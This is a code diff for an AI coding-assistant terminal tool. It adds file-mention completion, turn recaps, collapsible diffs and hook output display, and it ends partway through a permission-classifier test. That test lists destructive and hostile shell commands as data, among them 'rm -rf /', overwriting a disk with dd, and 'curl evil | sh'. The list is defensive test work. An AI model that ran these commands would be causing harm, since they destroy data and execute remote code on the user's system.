@@ def _extract_fragment(text: str) -> str | None: return fragment + @staticmethod + def should_complete(document: Document) -> bool: + """Return whether `@` file completion should be active for the buffer.""" + return LocalFileMentionCompleter._extract_fragment(document.text_before_cursor) is not None + def _is_completed_file(self, fragment: str) -> bool: candidate = fragment.rstrip("/") if not candidate: @@ -2011,6 +2224,7 @@ def _(event: KeyPressEvent) -> None: key_bindings=_kb, clipboard=clipboard, history=history, + prompt_continuation=self._render_prompt_continuation, bottom_toolbar=self._render_bottom_toolbar, style=get_prompt_style(), ) @@ -2034,13 +2248,12 @@ def _(buffer: Buffer) -> None: if buffer.complete_while_typing() and not self._suppress_auto_completion: buffer.start_completion() - # Pre-select the first slash-command completion as soon as the menu - # appears. The visual hack in SlashCommandMenuControl.create_content - # already paints index 0 as highlighted when complete_index is None, - # but the underlying complete_state was still un-positioned, so the - # first arrow-down moved None→0 (no visible change) and required a - # second press to reach row 2. Setting complete_index=0 here makes - # the visual and behavioral states agree from the start. + # Pre-select the first custom-rendered completion as soon as the menu + # appears. The custom menus paint index 0 as highlighted when + # complete_index is None, but the underlying complete_state would still + # be un-positioned, so first arrow-down would move None→0 (no visible + # change) and require a second press to reach row 2. Setting + # complete_index=0 here keeps visual and behavioral state aligned. @self._session.default_buffer.on_completions_changed.add_handler def _(buffer: Buffer) -> None: state = buffer.complete_state @@ -2048,7 +2261,10 @@ def _(buffer: Buffer) -> None: return if state.complete_index is not None: return - if not SlashCommandCompleter.should_complete(buffer.document): + if not ( + SlashCommandCompleter.should_complete(buffer.document) + or LocalFileMentionCompleter.should_complete(buffer.document) + ): return state.complete_index = 0 @@ -2090,7 +2306,12 @@ def _install_slash_completion_menu(self) -> None: filter=has_completions & slash_completion_filter, ) non_slash_menu = ConditionalContainer( - CompletionsMenu(max_height=6, scroll_offset=1), + Window( + content=LocalFileMentionMenuControl(left_padding=self._mention_menu_left_padding), + dont_extend_height=True, + height=Dimension(max=8), + style="class:file-completion-menu", + ), filter=non_slash_completion_filter, ) root = self._session.layout.container @@ -2145,6 +2366,10 @@ def _install_prompt_buffer_visibility(self) -> None: buffer_window.height = Dimension(min=1, max=5) buffer_window.dont_extend_height = Condition(lambda: True) buffer_window.style = "class:compact-input" + buffer_window.right_margins = [ + *buffer_window.right_margins, + _PromptRightPaddingMargin(self._input_right_padding), + ] self._prompt_buffer_container = buffer_container def _should_show_slash_completion_menu(self) -> bool: @@ -2158,6 +2383,22 @@ def _slash_menu_left_padding(self) -> int: # Agent mode: prompt prefix uses the transcript marker inside the compact input block. return side_padding + 1 + def _mention_menu_left_padding(self) -> int: + return _card_side_padding() + + def _input_right_padding(self) -> int: + return _INPUT_RIGHT_PADDING + + def _render_prompt_continuation( + self, + width: int, + line_number: int, + is_soft_wrap: int, + ) -> FormattedText: + """Indent wrapped input rows to the same column as the first text row.""" + del line_number, is_soft_wrap + return FormattedText([("class:compact-input", " " * max(0, width))]) + def _render_message(self) -> FormattedText: if self._mode == PromptMode.SHELL: return self._render_shell_prompt_message() diff --git a/src/pythinker_code/ui/shell/selectors/settings.py b/src/pythinker_code/ui/shell/selectors/settings.py index 5d55d3b2..8c02e388 100644 --- a/src/pythinker_code/ui/shell/selectors/settings.py +++ b/src/pythinker_code/ui/shell/selectors/settings.py @@ -60,6 +60,13 @@ def _build_settings_config(config: Config) -> SettingsListConfig: current_value=config.tui.style, values=("card", "pythinker"), ), + SettingItem( + id="tui.turn_recaps", + label="Turn recaps", + description="Show a compact recap line after completed shell turns.", + current_value=_bool(config.tui.turn_recaps), + values=_BOOL_VALUES, + ), SettingItem( id="default_model", label="Default model", @@ -249,6 +256,11 @@ def mark(setting_id: str) -> None: if config.tui.style != value: config.tui.style = cast(Any, value) mark(setting_id) + case "tui.turn_recaps": + new = value == "true" + if config.tui.turn_recaps != new: + config.tui.turn_recaps = new + mark(setting_id) case "default_model": model = "" if value == _NONE_MODEL_VALUE else value if config.default_model != model: diff --git a/src/pythinker_code/ui/shell/slash.py b/src/pythinker_code/ui/shell/slash.py index ed5bec9b..561ddc2f 100644 --- a/src/pythinker_code/ui/shell/slash.py +++ b/src/pythinker_code/ui/shell/slash.py @@ -1185,8 +1185,8 @@ def tui(app: Shell, args: str): raise Reload(session_id=soul.runtime.session.id) -@registry.command -@shell_mode_registry.command +@registry.command(aliases=["config"]) +@shell_mode_registry.command(aliases=["config"]) async def settings(app: Shell, args: str): """Open the interactive settings panel; use `/settings show` for read-only view""" from rich.console import Group, RenderableType @@ -1217,6 +1217,7 @@ def print_settings_table() -> None: table.add_row("Telemetry", "on" if config.telemetry else "off") table.add_row("Default thinking", "on" if config.default_thinking else "off") table.add_row("Show thinking stream", "on" if config.show_thinking_stream else "off") + table.add_row("Turn recaps", "on" if config.tui.turn_recaps else "off") table.add_row("Default yolo", "on" if config.default_yolo else "off") table.add_row("Default plan mode", "on" if config.default_plan_mode else "off") if config.source_file is not None: @@ -1227,7 +1228,7 @@ def print_settings_table() -> None: blocks: list[RenderableType] = [Text.from_markup("[bold]Settings[/bold]"), table] console.print(Group(*blocks)) console.print( - f"[{_t_set.muted}]Tip: /settings opens the interactive panel; " + f"[{_t_set.muted}]Tip: /settings (or /config) opens the interactive panel; " f"/theme, /tui, /model, /keys for related controls.[/]" ) diff --git a/src/pythinker_code/ui/shell/tool_renderers/_file_diff.py b/src/pythinker_code/ui/shell/tool_renderers/_file_diff.py index 9a6a2452..6b19ad34 100644 --- a/src/pythinker_code/ui/shell/tool_renderers/_file_diff.py +++ b/src/pythinker_code/ui/shell/tool_renderers/_file_diff.py @@ -2,15 +2,17 @@ from __future__ import annotations +import re from dataclasses import dataclass from typing import cast from pythinker_core.tooling import DisplayBlock -from rich.console import RenderableType +from rich.console import Group, RenderableType from rich.text import Text from pythinker_code.tools.display import DiffDisplayBlock from pythinker_code.ui.shell.components import compute_edit_diff_string, render_diff +from pythinker_code.ui.shell.render_constants import expand_hint from pythinker_code.ui.shell.tool_renderers import ToolResultPayload from pythinker_code.ui.shell.tool_renderers._render_utils import fg @@ -21,6 +23,20 @@ class DiffPreview: added: int removed: int summary_only: bool = False + is_new_file: bool = False + + +# Huge-file summary blocks (utils/diff.py) describe the old side as "(N lines)". +# A zero-line old side means the file did not exist before this write. +_SUMMARY_LINE_COUNT_RE = re.compile(r"^\((\d+) lines?") + + +def _block_old_is_empty(block: DiffDisplayBlock) -> bool: + """Whether *block* represents content with no pre-existing old side.""" + if block.is_summary: + match = _SUMMARY_LINE_COUNT_RE.match(block.old_text.strip()) + return match is not None and match.group(1) == "0" + return not block.old_text.strip() def display_blocks_from_result(result: ToolResultPayload) -> list[DisplayBlock]: @@ -83,7 +99,14 @@ def preview_from_diff_blocks(blocks: list[DiffDisplayBlock]) -> DiffPreview | No if not diff_text: return None added, removed = _diff_counts(diff_text) - return DiffPreview(diff_text=diff_text, added=added, removed=removed, summary_only=summary_only) + is_new_file = all(_block_old_is_empty(block) for block in blocks) + return DiffPreview( + diff_text=diff_text, + added=added, + removed=removed, + summary_only=summary_only, + is_new_file=is_new_file, + ) def preview_from_result(result: ToolResultPayload) -> DiffPreview | None: @@ -116,11 +139,27 @@ def change_summary_text(added: int, removed: int) -> Text: return fg("tool_output", out) -def diff_frame(diff_text: str, *, width: int) -> RenderableType: +def diff_frame( + diff_text: str, + *, + width: int, + expanded: bool = True, + collapsed_max_lines: int = 16, + state: dict[str, object] | None = None, +) -> RenderableType: """Render the Blackbox-style inline diff body. The reference terminal transcript shows the summary line immediately - followed by numbered +/- rows, without an ASCII box or dashed rails. + followed by numbered +/- rows, without an ASCII box or dashed rails. Large + diffs are collapsed by default and can be expanded from the tool card. """ _ = width + lines = diff_text.splitlines() + if not expanded and len(lines) > collapsed_max_lines: + if state is not None: + state["__has_expandable_payload__"] = True + state["__suppress_generic_expand_hint__"] = True + shown = "\n".join(lines[:collapsed_max_lines]) + remaining = len(lines) - collapsed_max_lines + return Group(render_diff(shown), fg("muted", expand_hint(remaining))) return render_diff(diff_text) diff --git a/src/pythinker_code/ui/shell/tool_renderers/edit.py b/src/pythinker_code/ui/shell/tool_renderers/edit.py index 2104b961..18070e30 100644 --- a/src/pythinker_code/ui/shell/tool_renderers/edit.py +++ b/src/pythinker_code/ui/shell/tool_renderers/edit.py @@ -118,7 +118,12 @@ def _render_call(ctx: ToolRenderContext) -> RenderableType: return Group( head, change_summary_text(added, removed), - diff_frame(diff_text, width=ctx.width or 80), + diff_frame( + diff_text, + width=ctx.width or 80, + expanded=ctx.expanded, + state=ctx.state, + ), ) @@ -162,7 +167,12 @@ def _render_result(ctx: ToolRenderContext, result: ToolResultPayload) -> Rendera return Group( change_summary_text(added, removed), - diff_frame(preview_diff, width=ctx.width or 80), + diff_frame( + preview_diff, + width=ctx.width or 80, + expanded=ctx.expanded, + state=ctx.state, + ), ) diff --git a/src/pythinker_code/ui/shell/tool_renderers/write.py b/src/pythinker_code/ui/shell/tool_renderers/write.py index 56e1b830..38c8b5a5 100644 --- a/src/pythinker_code/ui/shell/tool_renderers/write.py +++ b/src/pythinker_code/ui/shell/tool_renderers/write.py @@ -11,6 +11,7 @@ from rich.console import Group, RenderableType from rich.text import Text +from pythinker_code.tools.display import DiffDisplayBlock from pythinker_code.ui.shell.render_constants import expand_hint from pythinker_code.ui.shell.tool_renderers import ( ToolRenderContext, @@ -19,8 +20,9 @@ ) from pythinker_code.ui.shell.tool_renderers._file_diff import ( change_summary_text, + diff_blocks_from_result, diff_frame, - preview_from_result, + preview_from_diff_blocks, ) from pythinker_code.ui.shell.tool_renderers._render_utils import ( as_str, @@ -105,6 +107,10 @@ def _render_created_or_appended( return Group(*children) +def _is_existing_file_diff(blocks: list[DiffDisplayBlock]) -> bool: + return any(block.is_summary or block.old_text.strip() for block in blocks) + + def _render_result(ctx: ToolRenderContext, result: ToolResultPayload) -> RenderableType | None: if result.is_error: if not result.text: @@ -117,14 +123,24 @@ def _render_result(ctx: ToolRenderContext, result: ToolResultPayload) -> Rendera ) return body if body.plain else fg("error", result.text.rstrip("\n")) - preview = preview_from_result(result) + diff_blocks = diff_blocks_from_result(result) + preview = preview_from_diff_blocks(diff_blocks) mode = ctx.args.get("mode") raw_content = as_str(ctx.args.get("content")) or "" - if preview is not None and preview.removed > 0: + if ( + preview is not None + and not preview.is_new_file + and (preview.removed > 0 or _is_existing_file_diff(diff_blocks)) + ): return Group( change_summary_text(preview.added, preview.removed), - diff_frame(preview.diff_text, width=ctx.width or 80), + diff_frame( + preview.diff_text, + width=ctx.width or 80, + expanded=ctx.expanded, + state=ctx.state, + ), ) return _render_created_or_appended(ctx, raw_content, append=mode == "append") diff --git a/src/pythinker_code/ui/shell/visualize/__init__.py b/src/pythinker_code/ui/shell/visualize/__init__.py index 70f54ccb..8cd6557e 100644 --- a/src/pythinker_code/ui/shell/visualize/__init__.py +++ b/src/pythinker_code/ui/shell/visualize/__init__.py @@ -131,7 +131,8 @@ async def visualize( on_view_ready: Callable[[Any], None] | None = None, on_view_closed: Callable[[], None] | None = None, show_thinking_stream: bool = False, -): + show_turn_recaps: bool = False, +) -> None: """A loop to consume agent events and visualize the agent behavior. Creates either a ``_LiveView`` (Rich Live, non-interactive) or a @@ -146,6 +147,7 @@ async def visualize( btw_runner=btw_runner, cancel_event=cancel_event, show_thinking_stream=show_thinking_stream, + show_turn_recaps=show_turn_recaps, ) prompt_session.attach_running_prompt(view) @@ -156,7 +158,12 @@ def _cancel_running_input() -> None: if bind_running_input is not None: bind_running_input(view.handle_local_input, _cancel_running_input) else: - view = _LiveView(initial_status, cancel_event, show_thinking_stream=show_thinking_stream) + view = _LiveView( + initial_status, + cancel_event, + show_thinking_stream=show_thinking_stream, + show_turn_recaps=show_turn_recaps, + ) if on_view_ready is not None: on_view_ready(view) try: diff --git a/src/pythinker_code/ui/shell/visualize/_blocks.py b/src/pythinker_code/ui/shell/visualize/_blocks.py index 314708eb..b3dcf1bc 100644 --- a/src/pythinker_code/ui/shell/visualize/_blocks.py +++ b/src/pythinker_code/ui/shell/visualize/_blocks.py @@ -28,6 +28,7 @@ from pythinker_code.ui.shell.components.markdown import ( markdown_commit_boundary, ) +from pythinker_code.ui.shell.components.render_utils import render_message_response, sanitize_ansi from pythinker_code.ui.shell.components.report import render_agent_body from pythinker_code.ui.shell.console import console, current_console_width from pythinker_code.ui.shell.glyphs import TRANSCRIPT_ASSISTANT_MARKER, TRANSCRIPT_STATUS_MARKER @@ -36,6 +37,7 @@ ActivitySnapshot, activity_status_line, ) +from pythinker_code.ui.shell.spacing import BLANK_ROW from pythinker_code.ui.shell.tips import FEATURE_TIPS from pythinker_code.ui.shell.tool_renderers import ( ToolResultPayload, @@ -326,7 +328,7 @@ def _compose_composing(self) -> RenderableType: if not pending: return spinner preview = self._build_preview(pending, max_lines=_COMPOSING_PREVIEW_LINES) - return Group(spinner, self._wrap_preview_bullet(Markdown(preview))) + return Group(spinner, BLANK_ROW, self._wrap_preview_bullet(Markdown(preview))) def _compose_spinner(self) -> Text: return activity_status_line( @@ -342,7 +344,11 @@ def _compose_thinking_stream(self) -> RenderableType: return spinner preview = self._build_preview(pending, max_lines=_THINKING_PREVIEW_LINES) preview_style = tui_rich_style("thinking_text") + Style(italic=True) - return Group(spinner, Text(preview, style=preview_style)) + return Group( + spinner, + BLANK_ROW, + BulletColumns(Text(preview, style=preview_style), bullet_style=preview_style), + ) def _compose_thinking_spinner(self) -> Text: return activity_status_line( @@ -1007,8 +1013,40 @@ def compose(self) -> RenderableType: target=target, state=state, detail=" · ".join(detail_parts) if detail_parts else None, + children=self._output_children(), ) + def _output_children(self) -> list[RenderableType]: + if self.resolved is None: + return [] + children: list[RenderableType] = [] + for output in self.resolved.outputs: + body = Text() + stdout = sanitize_ansi(output.stdout).rstrip("\n") + stderr = sanitize_ansi(output.stderr).rstrip("\n") + has_both_streams = bool(stdout and stderr) + if stdout: + if has_both_streams: + body.append("[stdout]\n", style=tui_rich_style("dim")) + body.append(stdout, style=tui_rich_style("muted")) + if stderr: + if body.plain: + body.append("\n") + if has_both_streams: + body.append("[stderr]\n", style=tui_rich_style("dim")) + body.append(stderr, style=tui_rich_style("error")) + if output.timed_out: + if body.plain: + body.append("\n") + body.append("hook timed out", style=tui_rich_style("warning")) + if output.truncated: + if body.plain: + body.append("\n") + body.append("… hook output truncated", style=tui_rich_style("warning")) + if body.plain: + children.append(render_message_response(body)) + return children + class _QuestionAnsweredBlock: """Compact transcript row for answers returned from AskUserQuestion.""" diff --git a/src/pythinker_code/ui/shell/visualize/_interactive.py b/src/pythinker_code/ui/shell/visualize/_interactive.py index 99235e4e..2440c8fd 100644 --- a/src/pythinker_code/ui/shell/visualize/_interactive.py +++ b/src/pythinker_code/ui/shell/visualize/_interactive.py @@ -76,8 +76,14 @@ def __init__( btw_runner: BtwRunner | None = None, cancel_event: asyncio.Event | None = None, show_thinking_stream: bool = False, + show_turn_recaps: bool = False, ) -> None: - super().__init__(initial_status, cancel_event, show_thinking_stream=show_thinking_stream) + super().__init__( + initial_status, + cancel_event, + show_thinking_stream=show_thinking_stream, + show_turn_recaps=show_turn_recaps, + ) self._prompt_session = prompt_session self._steer = steer self._btw_runner = btw_runner @@ -238,6 +244,7 @@ async def visualize_loop(self, wire: WireUISide): self._turn_ended = self._active_turn_depth == 0 if self._turn_ended: self._turn_start_time = None + self._pending_turn_recap = True self._flush_prompt_refresh() continue diff --git a/src/pythinker_code/ui/shell/visualize/_live_view.py b/src/pythinker_code/ui/shell/visualize/_live_view.py index 2300204b..b7bccd2a 100644 --- a/src/pythinker_code/ui/shell/visualize/_live_view.py +++ b/src/pythinker_code/ui/shell/visualize/_live_view.py @@ -10,7 +10,7 @@ import asyncio import time -from collections import deque +from collections import Counter, deque from collections.abc import Awaitable, Callable from contextlib import asynccontextmanager, suppress from typing import Literal @@ -25,9 +25,14 @@ from rich.style import Style from rich.text import Text +from pythinker_code.session_recap import build_turn_recap_line from pythinker_code.soul import format_token_count from pythinker_code.tools.display import TodoDisplayBlock, TodoDisplayItem -from pythinker_code.ui.shell.components.render_utils import cell_width, truncate_to_width +from pythinker_code.ui.shell.components.render_utils import ( + cell_width, + sanitize_ansi, + truncate_to_width, +) from pythinker_code.ui.shell.console import console, current_console_width from pythinker_code.ui.shell.echo import render_user_echo from pythinker_code.ui.shell.glyphs import TRANSCRIPT_ACTIVE_MARKER, TRANSCRIPT_TOOL_GUTTER @@ -184,9 +189,11 @@ def __init__( cancel_event: asyncio.Event | None = None, *, show_thinking_stream: bool = False, + show_turn_recaps: bool = False, ): self._cancel_event = cancel_event self._show_thinking_stream = show_thinking_stream + self._show_turn_recaps = show_turn_recaps self._active_turn_depth = 0 self._turn_start_time: float | None = None @@ -198,6 +205,10 @@ def __init__( self._mcp_loading_spinner: RenderableType | None = None self._btw_spinner: RenderableType | None = None self._btw_question: str | None = None + self._recap_user_input = "" + self._recap_text_parts: list[str] = [] + self._recap_tool_counts: Counter[str] = Counter() + self._pending_turn_recap = False self._current_content_block: _ContentBlock | None = None self._tool_call_blocks: dict[str, _ToolCallBlock] = {} @@ -532,6 +543,19 @@ def compose_agent_output( _append_action_block(blocks, notification.compose()) return blocks + def _print_turn_recap(self) -> None: + if not self._show_turn_recaps: + return + assistant_text = "\n".join(self._recap_text_parts).strip() + line = build_turn_recap_line( + request=self._recap_user_input, + assistant_text=assistant_text, + step_count=sum(self._recap_tool_counts.values()) or None, + ) + if not line: + return + console.print(Text(sanitize_ansi(line), style=tui_rich_style("muted") + Style(italic=True))) + def _working_indicator(self) -> RenderableType: now = time.monotonic() elapsed = 0.0 if self._turn_start_time is None else now - self._turn_start_time @@ -740,9 +764,17 @@ def dispatch_wire_message(self, msg: WireMessage) -> None: return match msg: - case TurnBegin(): + case TurnBegin(user_input=user_input): if self._active_turn_depth == 0: self._turn_start_time = time.monotonic() + self._recap_user_input = ( + user_input + if isinstance(user_input, str) + else Message(role="user", content=user_input).extract_text(" ") + ) + self._recap_text_parts.clear() + self._recap_tool_counts.clear() + self._pending_turn_recap = False self._active_turn_depth += 1 self.flush_content() self.refresh_soon() @@ -758,6 +790,7 @@ def dispatch_wire_message(self, msg: WireMessage) -> None: self._active_turn_depth = max(0, self._active_turn_depth - 1) if self._active_turn_depth == 0: self._turn_start_time = None + self._pending_turn_recap = True case CompactionBegin(): self._compaction_block = _CompactionBlock( context_tokens=self._latest_context_tokens, @@ -836,8 +869,11 @@ def dispatch_wire_message(self, msg: WireMessage) -> None: case HookResolved(): self.append_hook_resolved(msg) case ContentPart(): + if isinstance(msg, TextPart) and msg.text: + self._recap_text_parts.append(msg.text) self.append_content(msg) case ToolCall(): + self._recap_tool_counts[msg.function.name] += 1 self.append_tool_call(msg) case ToolCallPart(): self.append_tool_call_part(msg) @@ -1011,6 +1047,9 @@ def cleanup(self, is_interrupt: bool) -> None: console.print(block.compose()) self.refresh_soon() self.flush_notifications() + if not is_interrupt and self._active_turn_depth == 0 and self._pending_turn_recap: + self._print_turn_recap() + self._pending_turn_recap = False # Clear transient spinners to prevent visual residuals after interrupts self._compaction_block = None diff --git a/src/pythinker_code/ui/theme.py b/src/pythinker_code/ui/theme.py index 29256fd2..64ff90f4 100644 --- a/src/pythinker_code/ui/theme.py +++ b/src/pythinker_code/ui/theme.py @@ -163,6 +163,14 @@ def _task_browser_style_light() -> PTKStyle: "slash-completion-menu.command.match.current": "bg:#243C54 fg:#AFE3F1 bold", "slash-completion-menu.meta.current": "bg:#243C54 fg:#A3A3A3", "slash-completion-menu.row.current": "bg:#243C54", + "file-completion-menu": "", + "file-completion-menu.marker": "fg:#2B3A52", + "file-completion-menu.marker.current": "fg:#AFE3F1 bold", + "file-completion-menu.name": "fg:#A3A3A3", + "file-completion-menu.name.current": "fg:#AFE3F1 bold", + "file-completion-menu.detail": "fg:#A3A3A3", + "file-completion-menu.detail.current": "fg:#AFE3F1", + "file-completion-menu.count": "fg:#5F6B7E", "shell-dialog": "fg:#F4F4F5", "shell-dialog.title": "fg:#F4F4F5 bold", "shell-dialog.border": "fg:#2B3A52", @@ -192,6 +200,14 @@ def _task_browser_style_light() -> PTKStyle: "slash-completion-menu.command.match.current": "bg:#E6F2F6 fg:#176B7E bold", "slash-completion-menu.meta.current": "bg:#E6F2F6 fg:#666666", "slash-completion-menu.row.current": "bg:#E6F2F6", + "file-completion-menu": "", + "file-completion-menu.marker": "fg:#8A93A0", + "file-completion-menu.marker.current": "fg:#176B7E bold", + "file-completion-menu.name": "fg:#666666", + "file-completion-menu.name.current": "fg:#176B7E bold", + "file-completion-menu.detail": "fg:#666666", + "file-completion-menu.detail.current": "fg:#176B7E", + "file-completion-menu.count": "fg:#8A93A0", "shell-dialog": "fg:#374151", "shell-dialog.title": "fg:#213853 bold", "shell-dialog.border": "fg:#C8BEC0", diff --git a/src/pythinker_code/utils/rich/__init__.py b/src/pythinker_code/utils/rich/__init__.py index a6c3e031..6a679f87 100644 --- a/src/pythinker_code/utils/rich/__init__.py +++ b/src/pythinker_code/utils/rich/__init__.py @@ -15,9 +15,9 @@ def enable_character_wrap() -> None: """Switch Rich's wrapping logic to break on every character. - Rich's default behavior tries to preserve whole words; we override the - internal regex so markdown rendering can fold text at any column once it - exceeds the terminal width. + Kept for narrow renderers that explicitly prefer hard folding. Normal TUI + prose should use Rich's default word-aware wrapping so paragraphs retain + clean margins and don't split ordinary words mid-line. """ _wrap.re_word = _CHAR_WRAP_PATTERN @@ -29,5 +29,6 @@ def restore_word_wrap() -> None: _wrap.re_word = _DEFAULT_WRAP_PATTERN -# Apply character-based wrapping globally for the CLI. -enable_character_wrap() +# Keep Rich's default word-aware wrapping globally. Long unbroken tokens still +# fold, but ordinary prose and markdown lists wrap on word boundaries. +restore_word_wrap() diff --git a/src/pythinker_code/utils/rich/markdown.py b/src/pythinker_code/utils/rich/markdown.py index af572057..07ff9892 100644 --- a/src/pythinker_code/utils/rich/markdown.py +++ b/src/pythinker_code/utils/rich/markdown.py @@ -12,6 +12,7 @@ from rich import box from rich._loop import loop_first from rich._stack import Stack +from rich.cells import cell_len from rich.console import Console, ConsoleOptions, JustifyMethod, RenderResult from rich.containers import Renderables from rich.jupyter import JupyterMixin @@ -488,12 +489,17 @@ def on_child_close(self, context: MarkdownContext, child: MarkdownElement) -> bo return False def render_bullet(self, console: Console, options: ConsoleOptions) -> RenderResult: - lines = console.render_lines(self.elements, options, style=self.style) indent_padding_len = LIST_INDENT_WIDTH * self.indent indent_text = " " * indent_padding_len bullet = Segment("• ") new_line = Segment("\n") - bullet_width = len(bullet.text) + bullet_width = cell_len(bullet.text) + child_width = max(1, options.max_width - indent_padding_len - bullet_width) + lines = console.render_lines( + self.elements, + options.update(width=child_width), + style=self.style, + ) for first, line in loop_first(lines): if first: if indent_text: @@ -516,13 +522,18 @@ def render_bullet(self, console: Console, options: ConsoleOptions) -> RenderResu def render_number( self, console: Console, options: ConsoleOptions, number: int, last_number: int ) -> RenderResult: - lines = console.render_lines(self.elements, options, style=self.style) new_line = Segment("\n") indent_padding_len = LIST_INDENT_WIDTH * self.indent indent_text = " " * indent_padding_len numeral_text = f"{number}. " numeral = Segment(numeral_text) - numeral_width = len(numeral_text) + numeral_width = cell_len(numeral_text) + child_width = max(1, options.max_width - indent_padding_len - numeral_width) + lines = console.render_lines( + self.elements, + options.update(width=child_width), + style=self.style, + ) for first, line in loop_first(lines): if first: if indent_text: diff --git a/src/pythinker_code/web/static/brand/favicon.ico b/src/pythinker_code/web/static/brand/favicon.ico new file mode 100644 index 00000000..5887d0bb Binary files /dev/null and b/src/pythinker_code/web/static/brand/favicon.ico differ diff --git a/src/pythinker_code/web/static/brand/icon.svg b/src/pythinker_code/web/static/brand/icon.svg new file mode 100644 index 00000000..4454e2df --- /dev/null +++ b/src/pythinker_code/web/static/brand/icon.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/src/pythinker_code/wire/server.py b/src/pythinker_code/wire/server.py index 10b179e0..2392c959 100644 --- a/src/pythinker_code/wire/server.py +++ b/src/pythinker_code/wire/server.py @@ -443,7 +443,7 @@ async def _handle_initialize( from pythinker_code.hooks.engine import WireHookHandle, WireHookSubscription from pythinker_code.soul import wire_send from pythinker_code.wire.protocol import WIRE_PROTOCOL_VERSION - from pythinker_code.wire.types import HookResolved, HookTriggered + from pythinker_code.wire.types import HookOutput, HookResolved, HookTriggered # Hook engine setup — register wire subscriptions and callbacks @@ -476,6 +476,7 @@ def _on_resolved( action: str, reason: str, duration_ms: int, + outputs: tuple[dict[str, object], ...] = (), ) -> None: wire_send( HookResolved( @@ -484,6 +485,7 @@ def _on_resolved( action=cast(Literal["allow", "block"], action), reason=reason, duration_ms=duration_ms, + outputs=tuple(HookOutput.model_validate(output) for output in outputs), ) ) diff --git a/src/pythinker_code/wire/types.py b/src/pythinker_code/wire/types.py index b19926ab..c9e12428 100644 --- a/src/pythinker_code/wire/types.py +++ b/src/pythinker_code/wire/types.py @@ -146,6 +146,27 @@ class HookTriggered(BaseModel): """Number of matched hooks running in parallel.""" +# Engine truncates each stream to 12_000 chars (hooks/engine._MAX_HOOK_OUTPUT_CHARS) +# then appends a "\n...[truncated]" marker; allow headroom so the marked payload +# still validates while rejecting unbounded strings from any other producer. +_MAX_HOOK_OUTPUT_FIELD_CHARS = 12_032 + + +class HookOutput(BaseModel): + """Bounded stdout/stderr captured from one hook invocation.""" + + stdout: str = Field(default="", max_length=_MAX_HOOK_OUTPUT_FIELD_CHARS) + """Captured stdout, truncated before it is sent over the wire.""" + stderr: str = Field(default="", max_length=_MAX_HOOK_OUTPUT_FIELD_CHARS) + """Captured stderr, truncated before it is sent over the wire.""" + exit_code: int = 0 + """Hook process exit code, when available.""" + timed_out: bool = False + """Whether the hook timed out.""" + truncated: bool = False + """Whether stdout or stderr was truncated for transport/display.""" + + class HookResolved(BaseModel): """A batch of hooks has finished executing.""" @@ -159,6 +180,8 @@ class HookResolved(BaseModel): """Reason for blocking. Empty if allowed.""" duration_ms: int = 0 """Wall-clock time for the entire batch, in milliseconds.""" + outputs: tuple[HookOutput, ...] = () + """Bounded visible output emitted by matched hooks.""" class MCPLoadingBegin(BaseModel): @@ -715,6 +738,9 @@ def to_wire_message(self) -> WireMessage: "StepRetry", "ToolExecutionStarted", "ToolOutputPart", + "HookTriggered", + "HookOutput", + "HookResolved", "CompactionBegin", "CompactionEnd", "MCPLoadingBegin", diff --git a/tests/auth/test_openai_auth.py b/tests/auth/test_openai_auth.py index 858933d7..24e95f57 100644 --- a/tests/auth/test_openai_auth.py +++ b/tests/auth/test_openai_auth.py @@ -12,6 +12,10 @@ from yarl import URL from pythinker_code.auth import OPENAI_API_PLATFORM_ID, OPENAI_CHATGPT_PLATFORM_ID +from pythinker_code.auth.browser_login_page import ( + browser_login_favicon_data_uri, + browser_login_logo_data_uri, +) from pythinker_code.auth.oauth import OAuthError, load_tokens from pythinker_code.auth.openai import ( OPENAI_API_BASE_URL, @@ -93,11 +97,19 @@ def test_openai_auth_constants_match_codex_compatible_values(): def test_openai_callback_html_uses_pythinker_branding(): page = _callback_html(ok=True, message=None) + logo_data_uri = browser_login_logo_data_uri() + favicon_data_uri = browser_login_favicon_data_uri() + + logo_svg = base64.b64decode(logo_data_uri.split(",", 1)[1]).decode("utf-8") + favicon_bytes = base64.b64decode(favicon_data_uri.split(",", 1)[1]) assert "Pythinker logged in" in page assert "You're logged in to Pythinker" in page assert "OpenAI login complete" not in page - assert "data:image/svg+xml" in page + assert 'viewBox="0 0 411 512.455"' in logo_svg + assert favicon_bytes.startswith(b"\x00\x00\x01\x00") + assert f'' in page + assert f'' in page def test_openai_callback_html_escapes_error_message(): diff --git a/tests/core/test_config.py b/tests/core/test_config.py index d14ad016..901d8841 100644 --- a/tests/core/test_config.py +++ b/tests/core/test_config.py @@ -81,7 +81,7 @@ def test_default_config_dump(): "extra_skill_dirs": [], "telemetry": True, "skip_auto_prompt_injection": False, - "tui": {"style": "card", "prompt_history_enabled": True}, + "tui": {"style": "card", "prompt_history_enabled": True, "turn_recaps": True}, } ) diff --git a/tests/core/test_permission_profiles.py b/tests/core/test_permission_profiles.py index 7e25c722..8f81b1b8 100644 --- a/tests/core/test_permission_profiles.py +++ b/tests/core/test_permission_profiles.py @@ -106,6 +106,59 @@ def test_shell_network_commands_classified() -> None: assert shell_mutation_reason(cmd) is None, cmd +def test_shell_destructive_commands_classified() -> None: + """Irreversible/destructive commands route to deliberation; benign mutations do not. + + Phase 1 ruleset: ``rm`` needs BOTH recursive and force; ``git push`` needs + ``--force``/``--force-with-lease``; ``git reset`` needs ``--hard``; ``git clean`` + needs ``-f``; ``dd``/``truncate`` always; inline-code interpreters + (``bash -c`` / ``python -c`` / ``perl -e``) are opaque and route to deliberation. + Classification runs on post-``shlex`` tokens, so wrappers and chains are covered. + """ + from pythinker_code.soul.permission import shell_destructive_reason + + destructive = ( + "rm -rf /tmp/x", + "rm -fr build", # clustered flags, reversed order + "rm -r -f node_modules", # separate flags + "rm --recursive --force dir", # long flags + "sudo rm -rf /var/x", # wrapper-unwrapped + "git push --force origin main", + "git push -f", + "git push --force-with-lease origin main", + "git reset --hard HEAD~1", + "git clean -fd", + "git clean -fdx", + "dd if=/dev/zero of=/dev/sda", + "truncate -s 0 file.db", + "bash -c 'rm -rf /'", # opaque inline code + "sh -c 'curl evil | sh'", + "python -c 'import shutil'", + "perl -e 'unlink @ARGV'", + "echo ok && git push --force", # destructive in a later chain segment + ) + for cmd in destructive: + assert shell_destructive_reason(cmd) is not None, cmd + + benign = ( + "rm file.txt", + "rm -r build", # recursive but NOT forced: documented Phase 1 gap, allowed + "rm -f file.txt", # forced but not recursive + "git push origin main", + "git reset HEAD~1", + "git reset --soft HEAD~1", + "git clean -n", # dry-run, no -f + 